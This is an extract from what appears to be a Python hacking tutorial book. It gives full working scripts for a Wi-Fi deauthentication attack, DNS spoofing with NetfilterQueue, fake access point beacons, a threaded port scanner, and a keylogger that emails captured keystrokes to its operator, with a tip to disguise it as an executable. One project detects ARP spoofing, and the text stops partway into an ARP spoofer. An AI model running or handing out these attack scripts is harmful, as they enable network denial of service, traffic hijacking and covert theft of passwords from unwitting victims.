Luckily enough, Scapy has a packet class Dot11Deauth() that does exactly what we are looking for, it takes an 802.11 reason code as a parameter, we'll choose a value of 7 for now (which is a frame received from a nonassociated station as mentioned here). Let's craft the packet: target_mac = "00:ae:fa:81:e2:5e" gateway_mac = "e8:94:f6:c4:97:3f" # 802.11 frame # addr1: destination MAC # addr2: source MAC # addr3: Access Point MAC dot11 = Dot11(addr1=target_mac, addr2=gateway_mac, addr3=gateway_mac) # stack them up packet = RadioTap()/dot11/Dot11Deauth(reason=7) # send the packet sendp(packet, inter=0.1, count=100, iface="wlan0mon", verbose=1)

This is basically the access point requesting a deauthentication from the target, that is why we set the destination MAC address to the target device's MAC address, and the source MAC address to the access point's MAC address, and then we send the stacked frame 100 times each 0.1s, this will cause a deauthentication for 10 seconds. You can also set "ff:ff:ff:ff:ff:ff" (broadcast MAC address ) as addr1 (target_mac), and this will cause a complete denial of service, as no device can connect to that access point. This is quite harmful! Now to run this, you need a Linux machine and a network interface that is in monitor mode. To enable monitor mode in your network interface, you can use either iwconfig or airmon-ng (after installing aircrack-ng) Linux utilities: sudo ifconfig wlan0 down sudo iwconfig wlan0 mode monitor

Or: sudo airmon-ng start wlan0

My network interface is called wlan0, but you should use your proper network interface name. Now you're maybe wondering, how can we get the gateway and target MAC address if we're not connected to that network ? that is a good question, when you set your network card into monitor mode, you can actually sniff packets in the air using this command in linux (when you install aircrack-ng):

airodump-ng wlan0mon

Note: wlan0mon is my network interface name in monitor mode, you can check your network interface name using iwconfig Linux utility. This command will keep sniffing 802.11 beacon frames and arrange the WiFi networks to you as well as nearby connected devices to it. Before we execute the script, my victim's Android phone (which has the MAC address "00:ae:fa:81:e2:5e") is normally connected to the Wi-Fi access point (which has the MAC address "e8:94:f6:c4:97:3f"):

Now let's execute the script:

Going back to the victim device:

As you can see, we have made a successful deauthentication attack! You can pass -c 0 (by default) to prevent him from connecting until you stop the execution! I highly encourage you to check the completed version of the code that uses command-line arguments, as shown in the figures. You may be wondering, why this is useful? Well, let's see: One of the main purposes of deauthentication attack is to force clients

to connect to an Evil twin access point which can be used to capture network packets transferred between the client and the Rogue Access Point. It can also be useful to capture the WPA 4-way handshake, the attacker then needs to crack the WPA password. You can also make jokes with your friends! RELATED: How to Create Fake Access Points using Scapy in Python. Finally, as always, don't use this on a network you don't have permission to, we do not take any responsibility, this tutorial is for educational purposes!

PROJECT 24: Make a DNS Spoof attack using Scapy in Python Writing a DNS spoofer script in Python using Scapy library to successfully change DNS cache of a target machine in the same network.

In the previous tutorial, we have discussed about ARP spoof and how to successfully make this kind of attack using Scapy library. However, we haven't mentioned the benefit of being man-in-the-middle. In this tutorial, we will see one of the interesting methods out there, DNS spoofing.

What is DNS A Domain Name System server translates the human-readable domain name ( such as google.com ) into an IP address that is used to make the connection between the server and the client, for instance, if a user wants to connect to google.com, the user's machine will automatically send a request to the DNS server, saying that I want the IP address of google.com as shown in the figure:

The server will respond with the corresponding IP address of that domain name:

The user will then connect normally to the server:

Alright, this is totally normal, but now what if there is a man-in-the-middle machine between the user and the Internet? well, that man-in-the-middle can be a DNS Spoofer!

What is DNS Spoofing DNS spoofing, also referred to as DNS cache poisoning, is a form of computer security hacking in which corrupt Domain Name System data is introduced into the DNS resolver's cache, causing the name server to return an incorrect result record, e.g. an IP address. This results in traffic being diverted to the attacker's computer (or any other computer). (Wikipedia) But the method we are going to use is a little bit different, let's see it in action:

Note: In order to be a man-in-the-middle, you need to execute the ARP spoof script, so the victim will be sending the DNS requests to your machine first, instead of directly routing them into the Internet. Now since the attacker is in between, he'll receive that DNS request indicating "what is the IP address of google.com", then he'll forward that to the DNS server as shown in the following image:

The DNS server received a legitimate request, it will respond with a DNS response:

The attacker now received that DNS response that has the real IP address of google.com, what he will do now is to change this IP address to a malicious fake IP ( in this case, his own web server 192.168.1.100 or 192.168.1.106 or whatever ):

This way, when the user types google.com in the browser, he'll see a fake page of the attacker without noticing! Let's see how we can implement this attack using Scapy in Python.

Writing the Script First, I need to mention that we gonna use NetfilterQueue library which provides access to packets matched by an iptables rule in Linux (so this will only work on Linux distros). As you may guess, we need to insert an iptables rule, open the linux terminal and type:

iptables -I FORWARD -j NFQUEUE --queue-num 0

This rule indicates that whenever a packet is forwarded, redirect it ( -j for jump ) to the netfilter queue number 0. This will enable us to redirect all the forwarded packets into Python. Now, let's install the required dependencies: pip3 install netfilterqueue scapy

Let's import our modules (You need to install Scapy first, head to this tutorial or the official scapy documentation for installation): from scapy.all import * from netfilterqueue import NetfilterQueue import os

Let's define our DNS dictionary: # DNS mapping records, feel free to add/modify this dictionary # for example, google.com will be redirected to 192.168.1.100 dns_hosts = { b"www.google.com.": "192.168.1.100", b"google.com.": "192.168.1.100", b"facebook.com.": "172.217.19.142" }

The netfilter queue object will need a callback that is invoked whenever a packet is forwarded, let's implement it: def process_packet(packet): """

Whenever a new packet is redirected to the netfilter queue, this callback is called. """ # convert netfilter queue packet to scapy packet scapy_packet = IP(packet.get_payload()) if scapy_packet.haslayer(DNSRR): # if the packet is a DNS Resource Record (DNS reply) # modify the packet print("[Before]:", scapy_packet.summary()) try: scapy_packet = modify_packet(scapy_packet) except IndexError: # not UDP packet, this can be IPerror/UDPerror packets pass print("[After ]:", scapy_packet.summary()) # set back as netfilter queue packet packet.set_payload(bytes(scapy_packet)) # accept the packet packet.accept()

All we did here is converting the netfilter queue packet into a scapy packet, then checking if it is a DNS response, if it is the case, we need to modify it using modify_packet(packet) function, let's define it: def modify_packet(packet): """ Modifies the DNS Resource Record `packet` ( the answer part) to map our globally defined `dns_hosts` dictionary. For instance, whenever we see a google.com answer, this function replaces the real IP address (172.217.19.142) with fake IP address (192.168.1.100)

""" # get the DNS question name, the domain name qname = packet[DNSQR].qname if qname not in dns_hosts: # if the website isn't in our record # we don't wanna modify that print("no modification:", qname) return packet # craft new answer, overriding the original # setting the rdata for the IP we want to redirect (spoofed) # for instance, google.com will be mapped to "192.168.1.100" packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname]) # set the answer count to 1 packet[DNS].ancount = 1 # delete checksums and length of packet, because we have modified the packet # new calculations are required ( scapy will do automatically ) del packet[IP].len del packet[IP].chksum del packet[UDP].len del packet[UDP].chksum # return the modified packet return packet

Now, let's instantiate the netfilter queue object after inserting the iptables rule: QUEUE_NUM = 0 # insert the iptables FORWARD rule os.system("iptables -I FORWARD -j NFQUEUE --queue-num

{}".format(QUEUE_NUM)) # instantiate the netfilter queue queue = NetfilterQueue()

We need to bind the netfilter queue number with the callback we just wrote and start it: try: # bind the queue number to our callback `process_packet` # and start it queue.bind(QUEUE_NUM, process_packet) queue.run() except KeyboardInterrupt: # if want to exit, make sure we # remove that rule we just inserted, going back to normal. os.system("iptables --flush")

I've wrapped it in a try-except to detect whenever a CTRL+C is clicked, so we can delete the iptables rule we just inserted. That's it, now before we execute it, remember we need to be a man-in-themiddle, so let's execute our arp spoof script we made in the previous tutorial:

Let's execute the dns spoofer we just created:

root@rockikz:~# python3 dns_spoof.py

Now the script is listening for DNS responses, let's go to the victim machine and ping google.com:

Wait, what? The IP address of google.com is 192.168.1.100 ! Let's try to browse google:

I have set up a simple web server at 192.168.1.100 ( a local server) which returns this page, now google.com is mapped to 192.168.1.100 ! That's amazing. Going back to the attacker's machine:

Congratulations! You have successfully completed writing a DNS spoof attack script which is not very trivial. If you want to finish the attack, just click CTRL+C on the arp spoofer and dns spoofer and you're done. DISCLAIMER: I'm not responsible for using this script in a network you don't have permission to, use it on your own responsibility. To wrap up, this method is widely used among network penetration testers, now you should be aware of this kind of attacks.

How to Create Fake Access Points using Scapy in Python Creating fake access points and fooling nearby devices by sending valid beacon frames to the air using scapy in python.

Have you ever wondered how your laptop or mobile phone knows which wireless networks are available nearby? It is actually straightforward. Wireless Access Points continually send beacon frames to all nearby wireless devices; these frames include information about the access point, such as the SSID (name), type of encryption, MAC address, etc. In this tutorial, you will learn how to send beacon frames into the air using the Scapy library in Python to forge fake access points successfully! Necessary packages to install for this tutorial: pip3 install faker scapy

To ensure Scapy is installed properly, head to this tutorial or check the official scapy documentation for complete installation for all environments. It is highly suggested that you follow along with the Kali Linux environment, as it provides pre-installed utilities we need in this tutorial. Before we dive into the exciting code, you need to enable monitor mode in your network interface card:

You need to make sure you're in a Unix-based system. Install the aircrack-ng utility: apt-get install aircrack-ng

Note: The aircrack-ng utility comes pre-installed with Kali Linux, so you shouldn't run this command if you're on Kali. Enable monitor mode using the airmon-ng command: root@rockikz:~# airmon-ng check kill Killing these processes: PID Name 735 wpa_supplicant root@rockikz:~# airmon-ng start wlan0 PHY Interface Driver

Chipset

phy0 wlan0 ath9k_htc Atheros Communications, Inc. TP-Link TLWN821N v3 / TL-WN822N v2 802.11n [Atheros AR7010+AR9287] (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0)

Note: My USB WLAN stick is named wlan0 in my case, you should run the ifconfig command and see your proper network interface name.

Alright, now you have everything set, let's start with a simple recipe first: from scapy.all import * # interface to use to send beacon frames, must be in monitor mode iface = "wlan0mon" # generate a random MAC address (built-in in scapy) sender_mac = RandMAC() # SSID (name of access point) ssid = "Test" # 802.11 frame dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=sender_mac, addr3=sender_mac) # beacon layer beacon = Dot11Beacon() # putting ssid in the frame essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid)) # stack all the layers and add a RadioTap frame = RadioTap()/dot11/beacon/essid # send the frame in layer 2 every 100 milliseconds forever # using the `iface` interface sendp(frame, inter=0.1, iface=iface, loop=1)

The above code does the following: We generate a random MAC address and set the name of the access point we want to create, and then we create an 802.11 frame. The fields are: type=0: indicates that it is a management frame. subtype=8: indicates that this management frame is a beacon frame. addr1: refers to the destination MAC address, in other words, the

receiver's MAC address. We use the broadcast address here ("ff:ff:ff:ff:ff:ff"). If you want this fake access point to appear only in a target device, you can use the target's MAC address. addr2: source MAC address, the sender's MAC address. addr3: the MAC address of the access point. Related: How to Make a MAC Address Changer in Python So we should use the same MAC address of addr2 and addr3 because the sender is the access point! We create our beacon frame with SSID Infos, then stack them all together and send them using Scapy's sendp() function. After we set up our interface into monitor mode and execute the script, we should see something like that in the list of available Wi-Fi access points:

Now let's get a little bit fancier and create many fake access points at the same time: from scapy.all import * from threading import Thread from faker import Faker def send_beacon(ssid, mac, infinite=True): dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=mac, addr3=mac) # ESS+privacy to appear as secured on some devices beacon = Dot11Beacon(cap="ESS+privacy") essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))

frame = RadioTap()/dot11/beacon/essid sendp(frame, inter=0.1, loop=1, iface=iface, verbose=0) if __name__ == "__main__": # number of access points n_ap = 5 iface = "wlan0mon" # generate random SSIDs and MACs faker = Faker() ssids_macs = [ (faker.name(), faker.mac_address()) for i in range(n_ap) ] for ssid, mac in ssids_macs: Thread(target=send_beacon, args=(ssid, mac)).start()

All I did here was wrap the previous lines of code in a function, generate random MAC addresses and SSIDs using the faker package, and then start a separate thread for each access point. Once you execute the script, the interface will send five beacons each 100 milliseconds (at least in theory). This will result in appearing of five fake access points. Check this out:

Here is how it looks on Android OS:

If you're unsure how to use threads, check this tutorial. That is amazing. Note that attempting to connect to one of these access points will fail, as they are not real access points, just an illusion!

How to Make a Port Scanner in Python Learn how to write a port scanner in Python using sockets, starting with a simple port scanner and then diving deeper to a threaded version of a port scanner that is reliable for use.

Port scanning is a scanning method for determining which ports on a network device are open, whether it's a server, a router, or a regular machine. A port scanner is just a script or a program that is designed to probe a host for open ports. In this tutorial, you will be able to make your own port scanner in Python using the socket library. The basic idea behind this simple port scanner is to try

to connect to a specific host (website, server, or any device connected to the Internet/network) through a list of ports, if a successful connection has been established, that means the port is open. For instance, when you loaded this web page, you have made a connection to this website on port 80, similarly, this script will try to connect to a host but on multiple ports. These kinds of tools are useful for hackers and penetration testers, so don't use this tool on a host that you don't have permission to test! Table of content: Simple Port Scanner Fast (Threaded) Port Scanner Conclusion Read Also: How to Brute Force ZIP File Passwords in Python. Optionally, you need to install colorama module for printing in colors: pip3 install colorama

Simple Port Scanner First, let's start by making a simple port scanner, let's import the socket module: import socket # for connecting from colorama import init, Fore # some colors init() GREEN = Fore.GREEN RESET = Fore.RESET GRAY = Fore.LIGHTBLACK_EX

Note: socket module is already installed on your machine, it is a built-in module in the Python standard library, so you don't have to install anything. The socket module provides us with socket operations, functions for networkrelated tasks, etc. They are widely used on the Internet, as they are behind any connection to any network. Any network communication goes through a socket, more details are in the official Python documentation. We will use colorama here just for printing in green colors whenever a port is open, and gray when it is closed. Let's define the function that is responsible for determining whether a port is open: def is_port_open(host, port): """ determine whether `host` has the `port` open """ # creates a new socket s = socket.socket() try: # tries to connect to host using that port s.connect((host, port)) # make timeout if you want it a little faster ( less accuracy ) # s.settimeout(0.2) except: # cannot connect, port is closed # return false return False else: # the connection was established, port is open!

return True

function tries to connect the socket to a remote address using the (host, port) tuple, it will raise an exception when it fails to connect to that host, that is why we have wrapped that line of code into a tryexcept block, so whenever an exception is raised, that's an indication for us that the port is actually closed, otherwise it is open. s.connect((host, port))

Now let's use the above function and iterate over a range of ports: # get the host from the user host = input("Enter the host:") # iterate over ports, from 1 to 1024 for port in range(1, 1025): if is_port_open(host, port): print(f"{GREEN}[+] {host}:{port} is open {RESET}") else: print(f"{GRAY}[!] {host}:{port} is closed {RESET}", end="\r")

The above code will scan ports ranging from 1 all the way to 1024, you can change the range to 65535 if you want, but that will take longer to finish. When you try to run it, you'll immediately notice that the script is quite slow, well, we can get away with that if we set a timeout of 200 milliseconds or so (using settimeout(0.2) method). However, this actually can reduce the accuracy of the reconnaissance, especially when your latency is quite high. As a result, we need a better way to accelerate this. Read also: How to Use Shodan API in Python.

Fast (Threaded) Port Scanner

Now let's take our simple port scanner to a higher level. In this section, we'll write a threaded port scanner that is able to scan 200 or more ports simultaneously. The below code is actually the same function we saw previously, which is responsible for scanning a single port. Since we're using threads, we need to use a lock so only one thread can print at a time, otherwise, the output will be messed up and we won't read anything useful: import argparse import socket # for connecting from colorama import init, Fore from threading import Thread, Lock from queue import Queue # some colors init() GREEN = Fore.GREEN RESET = Fore.RESET GRAY = Fore.LIGHTBLACK_EX # number of threads, feel free to tune this parameter as you wish N_THREADS = 200 # thread queue q = Queue() print_lock = Lock() def port_scan(port): """ Scan a port on the global variable `host` """ try:

s = socket.socket() s.connect((host, port)) except: with print_lock: print(f"{GRAY}{host:15}:{port:5} is closed {RESET}", end='\r') else: with print_lock: print(f"{GREEN}{host:15}:{port:5} is open {RESET}") finally: s.close()

So this time the function doesn't return anything, we just want to print whether the port is open (feel free to change it though). We used Queue() class from the built-in queue module that will help us with consuming ports, the two below functions are for producing and filling up the queue with port numbers and using threads to consume them: def scan_thread(): global q while True: # get the port number from the queue worker = q.get() # scan that port number port_scan(worker) # tells the queue that the scanning for that port # is done q.task_done()

def main(host, ports): global q for t in range(N_THREADS): # for each thread, start it t = Thread(target=scan_thread) # when we set daemon to true, that thread will end when the main thread ends t.daemon = True # start the daemon thread t.start() for worker in ports: # for each port, put that port into the queue # to start scanning q.put(worker) # wait the threads ( port scanners ) to finish q.join()

The job of the scan_thread() function is to get port numbers from the queue and scan it, and then add it to the done tasks, whereas main() function is responsible for filling up the queue with the port numbers and spawning N_THREADS threads to consume them. Note the q.get() will block until a single item is available in the queue. q.put() puts a single item into the queue and q.join() waits for all daemon threads to finish (clearing the queue). Finally, let's make a simple argument parser so we can pass the host and port numbers range from the command line: if __name__ == "__main__": # parse some parameters passed parser = argparse.ArgumentParser(description="Simple port scanner")

parser.add_argument("host", help="Host to scan.") parser.add_argument("--ports", "-p", dest="port_range", default="165535", help="Port range to scan, default is 1-65535 (all ports)") args = parser.parse_args() host, port_range = args.host, args.port_range start_port, end_port = port_range.split("-") start_port, end_port = int(start_port), int(end_port) ports = [ p for p in range(start_port, end_port)] main(host, ports)

Here is a screenshot of when I tried to scan my home router:

Conclusion Awesome! It finished scanning 5000 ports in less than 2 seconds! You can use the default range (1 to 65535) and it will take a few seconds to finish. If you see your scanner is freezing on a single port, that's a sign you need to decrease your number of threads, if the server you're probing has a high ping, you should reduce N_THREADS to 100, 50, or even lower, try to experiment with this parameter.

Port scanning proves to be useful in many cases, an authorized penetration tester can use this tool to see which ports are open and reveal the presence of potential security devices such as firewalls, as well as test the network security and the strength of a device. It is also a popular reconnaissance tool for hackers that are seeking weak points in order to gain access to the target machine. Most penetration testers often use Nmap to scan ports, as it does not just provide port scanning, but shows services and operating systems that are running, and much more advanced techniques. Disclaimer: Note that this script is intended for individuals to test their own devices and to learn Python, I will take no responsibility if it is misused.

PROJECT 25: in Python

Make a Keylogger

Creating and implementing a keylogger from scratch that records key strokes from keyboard and send them to email or save them as log files using Python and keyboard library.

A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer's keyboard. In this tutorial, you will learn how to write a keylogger in Python. You are maybe wondering why a keylogger is useful? Well, when a hacker (or a script kiddie) uses this for unethical purposes, he/she will register everything you type on the keyboard, including your credentials (credit card numbers, passwords, etc.). The goal of this tutorial is to make you aware of these kinds of scripts and learn how to implement such malicious scripts on your own for educational purposes. Let's get started!

First, we going to need to install a module called keyboard, go to the terminal or the command prompt and write: $ pip install keyboard

This module allows you to take complete control of your keyboard, hook global events, register hotkeys, simulate key presses, and much more, and it is a small module, though. So, the Python script will do the following: Listen to keystrokes in the background. Whenever a key is pressed and released, we add it to a global string variable. Every N minutes, report the content of this string variable either to a local file (to upload to FTP server or use Google Drive API) or via email. Let us start by importing the necessary modules: import keyboard # for keylogs import smtplib # for sending email using SMTP protocol (gmail) # Timer is to make a method runs after an `interval` amount of time from threading import Timer from datetime import datetime from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText

If you choose to report key logs via email, then you should set up an email account on Outlook, or any other provider and make sure that third party apps are allowed to log in via email and password.

Note: From May 30, 2022, Google no longer supports the use of third-party apps or devices which ask you to sign in to your Google Account using only your username and password. Therefore, this code won't work for Gmail accounts. If you want to interact with your Gmail account in Python, I highly encourage you to use the Gmail API tutorial instead. Now let's initialize our parameters: SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on EMAIL_ADDRESS = "[email protected]" EMAIL_PASSWORD = "password_here"

Note: Obviously, you need to put your correct email credentials; otherwise, reporting via email won't work. Setting SEND_REPORT_EVERY to 60 means we report our key logs every 60 seconds (i.e., one minute). Feel free to edit this to your needs. The best way to represent a keylogger is to create a class for it, and each method in this class does a specific task: class Keylogger: def __init__(self, interval, report_method="email"): # we gonna pass SEND_REPORT_EVERY to interval self.interval = interval self.report_method = report_method # this is the string variable that contains the log of all # the keystrokes within `self.interval` self.log = "" # record start & end datetimes self.start_dt = datetime.now() self.end_dt = datetime.now()

We set report_method to "email" by default, which indicates that we'll send key logs to our email, you'll see how we pass "file" later and it will save it to a local file. Now, we gonna need to use the keyboard 's on_release() function that takes a callback which will be called for every KEY_UP event (whenever you release a key on the keyboard), this callback takes one parameter which is a KeyboardEvent that have the name attribute, let's implement it: def callback(self, event): """ This callback is invoked whenever a keyboard event is occured (i.e when a key is released in this example) """ name = event.name if len(name) > 1: # not a character, special key (e.g ctrl, alt, etc.) # uppercase with [] if name == "space": # " " instead of "space" name = " " elif name == "enter": # add a new line whenever an ENTER is pressed name = "[ENTER]\n" elif name == "decimal": name = "." else: # replace spaces with underscores name = name.replace(" ", "_") name = f"[{name.upper()}]"

# finally, add the key name to our global `self.log` variable self.log += name

So whenever a key is released, the button pressed is appended to the self.log string variable. If we choose to report our key logs to a local file, the following methods are responsible for that: def update_filename(self): # construct the filename to be identified by start & end datetimes start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") self.filename = f"keylog-{start_dt_str}_{end_dt_str}" def report_to_file(self): """This method creates a log file in the current directory that contains the current keylogs in the `self.log` variable""" # open the file in write mode (create it) with open(f"{self.filename}.txt", "w") as f: # write the keylogs to the file print(self.log, file=f) print(f"[+] Saved {self.filename}.txt")

The update_filename() method is simple; we take the recorded datetimes and convert them to a readable string. After that, we construct a filename based on these dates, which we'll use for naming our logging files. The report_to_file() method creates a new file with the name of saves the key logs there.

self.filename ,

and

Then we gonna need to implement the method that given a message (in this case, key logs), it sends it as an email (head to this tutorial for more information on how this is done): def prepare_mail(self, message): """Utility function to construct a MIMEMultipart from a text It creates an HTML version as well as text version to be sent as an email""" msg = MIMEMultipart("alternative") msg["From"] = EMAIL_ADDRESS msg["To"] = EMAIL_ADDRESS msg["Subject"] = "Keylogger logs" # simple paragraph, feel free to edit html = f"

{message}

" text_part = MIMEText(message, "plain") html_part = MIMEText(html, "html") msg.attach(text_part) msg.attach(html_part) # after making the mail, convert back as string message return msg.as_string() def sendmail(self, email, password, message, verbose=1): # manages a connection to an SMTP server # in our case it's for Microsoft365, Outlook, Hotmail, and live.com server = smtplib.SMTP(host="smtp.office365.com", port=587) # connect to the SMTP server as TLS mode ( for security ) server.starttls() # login to the email account server.login(email, password) # send the actual message after preparation server.sendmail(email, email, self.prepare_mail(message))

# terminates the session server.quit() if verbose: print(f"{datetime.now()} - Sent an email to {email} containing: {message}")

The prepare_mail() method takes the message as a regular Python string and constructs a MIMEMultipart object which helps us make both an HTML and a text version of the mail. We then use the prepare_mail() method in sendmail() to send the email. Notice we have used the Office365 SMTP servers to log in to our email account, if you're using another provider, make sure you use their SMTP servers, check this list of SMTP servers of the most common email providers. In the end, we terminate the SMTP connection and print a simple message. Next, we make the method that reports the key logs after every period of time. In other words, calls sendmail() or report_to_file() every time: def report(self): """ This function gets called every `self.interval` It basically sends keylogs and resets `self.log` variable """ if self.log: # if there is something in log, report it self.end_dt = datetime.now() # update `self.filename` self.update_filename() if self.report_method == "email": self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD,

self.log) elif self.report_method == "file": self.report_to_file() # if you don't want to print in the console, comment below line print(f"[{self.filename}] - {self.log}") self.start_dt = datetime.now() self.log = "" timer = Timer(interval=self.interval, function=self.report) # set the thread as daemon (dies when main thread die) timer.daemon = True # start the timer timer.start()

So we are checking if the self.log variable got something (the user pressed something in that period), if it is the case, then report it by either saving it to a local file or sending as an email. And then we passed the self.interval (in this tutorial, I've set it to 1 minute or 60 seconds, feel free to adjust it on your needs), and the function self.report() to Timer() class, and then call the start() method after we set it as a daemon thread. This way, the method we just implemented sends keystrokes to email or saves it to a local file (based on the report_method ) and calls itself recursively each self.interval seconds in separate threads. Let's define the method that calls the def start(self): # record the start datetime self.start_dt = datetime.now() # start the keylogger

on_release()

method:

keyboard.on_release(callback=self.callback) # start reporting the keylogs self.report() # make a simple message print(f"{datetime.now()} - Started keylogger") # block the current thread, wait until CTRL+C is pressed keyboard.wait()

For more information about how to use the tutorial.

keyboard

module, check this

This start() method is what we'll use outside the class, as it's the essential method, we use keyboard.on_release() method to pass our previously defined callback() method. After that, we call our self.report() method that runs on a separate thread and finally we use wait() method from the keyboard module to block the current thread, so we can exit out of the program using CTRL+C. We are basically done with the Keylogger class, all we need to do now is to instantiate this class we have just created: if __name__ == "__main__": # if you want a keylogger to send to your email # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email") # if you want a keylogger to record keylogs to a local file # (and then send it using your favorite method) keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") keylogger.start()

If you want reports via email, then you should uncomment the first instantiation where we have report_method="email" . Otherwise, if you want to report key logs via files into the current directory, then you should use the second one, report_method set to "file" . When you execute the script using email reporting, it will record your keystrokes, after each minute, it will send all logs to the email, give it a try! Here is what I got in my email after a minute:

This was actually what I pressed on my personal keyboard during that period! When you run it with report_method="file" (default), then you should start seeing log files in the current directory after each minute:

And you'll see output something like this in the console:

[+] Saved keylog-2020-12-18-150850_2020-12-18-150950.txt [+] Saved keylog-2020-12-18-150950_2020-12-18-151050.txt [+] Saved keylog-2020-12-18-151050_2020-12-18-151150.txt [+] Saved keylog-2020-12-18-151150_2020-12-18-151250.txt ...

Conclusion Now you can extend this to send the log files across the network, or you can use Google Drive API to upload them to your drive, or you can even upload them to your FTP server. Also, since no one will execute a .py file, you can build this code into an executable using open source libraries such as Pyinstaller.

PROJECT 26: Detect ARP Spoof Attack using Scapy in Python Writing a simple Python script using Scapy that identifies and detects an ARP spoof attack in the network.

In the previous tutorial, we have built an ARP spoof script using Scapy that once it is established correctly, any traffic meant for the target host will be sent to the attacker's host, now you are maybe wondering, how can we detect this kind of attacks ? well, that's what we are going to do in this tutorial. The basic idea behind the script that we're going to build is to keep sniffing packets (passive monitoring or scanning) in the network, once an ARP packet is received, we analyze two components: The source MAC address (that can be spoofed). The real MAC address of the sender (we can easily get it by initiating

an ARP request of the source IP address). And then we compare the two. If they are not the same, then we are definitely under an ARP spoof attack!

Writing the Script First let's import what we gonna need (you need to install Scapy first, head to this tutorial or the official Scapy documentation for installation): from scapy.all import Ether, ARP, srp, sniff, conf

Then we need a function that given an IP address, it makes an ARP request and retrieves the real MAC address the that IP address: def get_mac(ip): """ Returns the MAC address of `ip`, if it is unable to find it for some reason, throws `IndexError` """ p = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip) result = srp(p, timeout=3, verbose=False)[0] return result[0][1].hwsrc

After that, the sniff() function that we gonna use, takes a callback (or function) to apply to each packet sniffed, let's define it: def process(packet): # if the packet is an ARP packet if packet.haslayer(ARP): # if it is an ARP response (ARP reply)

if packet[ARP].op == 2: try: # get the real MAC address of the sender real_mac = get_mac(packet[ARP].psrc) # get the MAC address from the packet sent to us response_mac = packet[ARP].hwsrc # if they're different, definitely there is an attack if real_mac != response_mac: print(f"[!] You are under attack, REAL-MAC: {real_mac.upper()}, FAKE-MAC: {response_mac.upper()}") except IndexError: # unable to find the real mac # may be a fake IP or firewall is blocking packets pass

Note: Scapy encodes the type of ARP packet in a field called "op" which stands for operation, by default the "op" is 1 or "who-has" which is an ARP request, and 2 or "is-at" is an ARP reply. As you may see, the above function checks for ARP packets. More precisely, ARP replies, and then compares between the real MAC address and the response MAC address (that's sent in the packet itself). All we need to do now is to call the sniff() function with the callback written above: sniff(store=False, prn=process)

Note: store=False tells sniff() function to discard sniffed packets instead of storing them in memory, this is useful when the script runs for a very long time.

When you try to run the script, nothing will happen obviously, but when an attacker tries to spoof your ARP cache like in the figure shown below:

The ARP spoof detector (ran on another machine, obviously) will automatically respond:

Alright that's it! To prevent such man-in-the-middle attacks, you need to use Dynamic ARP Inspection, which is a security feature that automatically rejects malicious ARP packets we just detected. Here are some further readings: Detecting and Preventing ARP Poison attacks. Building an ARP Spoofer in Python using Scapy. XArp – Advanced ARP Spoofing Detection.

PROJECT 27: Build an ARP Spoofer in Python using Scapy Building and creating an ARP Spoof script in Python using Scapy to be able to be a man in the middle to monitor, intercept and modify packets in the network.

In this tutorial, we will build an ARP spoof script using the Scapy library in Python.

What is ARP Spoofing In brief, it is a method of gaining a man-in-the-middle situation. Technically speaking, it is a technique by which an attacker sends spoofed ARP packets (false packets) onto the network (or specific hosts), enabling the attacker to intercept, change or modify network traffic on the fly. Once you (as an attacker) are a man in the middle, you can literally intercept or change everything that passes in or out of the victim's device. So, in this tutorial, we will write a Python script to do just that. In a regular network, all devices communicate normally to the gateway and then to the internet, as shown in the following image:

Now the attacker needs to send ARP responses to both hosts:

Sending ARP response to the gateway saying that "I have the victim's IP address". Sending ARP response to the victim saying that "I have the gateway's IP address".

Once the attacker performs an ARP Spoof attack, as shown in the previous figure, they will be in the man-in-the-middle situation:

At this moment, once the victim sends any packet (an HTTP request, for instance), it will pass first to the attacker's machine. Then it will forward the packet to the gateway, so as you may notice, the victim does not know that attack. In other words, they won't be able to figure out that they are being attacked. Alright, enough theory! Before we get started, you need to install the required libraries: pip3 install scapy

Check this tutorial to get Scapy to work correctly on your machine if you're on Windows. Additionally, you need to install pywin32, like so: pip3 install pywin32

Writing the Python Script

Before anything else, we need to import the necessary modules: from scapy.all import Ether, ARP, srp, send import argparse import time import os import sys

Note: You need to have the Scapy library installed in your machine, head to this post or the official Scapy website. In the beginning, I need to mention that we need to have IP forwarding enabled. There are many ways to enable IP route in various platforms. However, I made a python module here to enable IP routing in Windows without worrying about anything. For Unix-like users (the suggested platform for this tutorial), all you need is to edit the file "/proc/sys/net/ipv4/ip_forward" which requires root access, and put a value of 1 that indicates as enabled, check this tutorial for more information. This function does it anyways: def _enable_linux_iproute(): """ Enables IP route ( IP Forward ) in linux-based distro """ file_path = "/proc/sys/net/ipv4/ip_forward" with open(file_path) as f: if f.read() == 1: # already enabled return

with open(file_path, "w") as f: print(1, file=f)

For Windows users, once you paste this function:

services.py

in your current directory, you can -

def _enable_windows_iproute(): """ Enables IP route (IP Forwarding) in Windows """ from services import WService # enable Remote Access service service = WService("RemoteAccess") service.start()

The function below handles enabling IP routing in all platforms: def enable_ip_route(verbose=True): """ Enables IP forwarding """ if verbose: print("[!] Enabling IP Routing...") _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute() if verbose: print("[!] IP Routing enabled.")

Now, let's get into the cool stuff. First, we need a utility function that allows us to get the MAC address of any machine in the network: def get_mac(ip): """ Returns MAC address of any device connected to the network If ip is down, returns None instead """ ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0) if ans: return ans[0][1].src

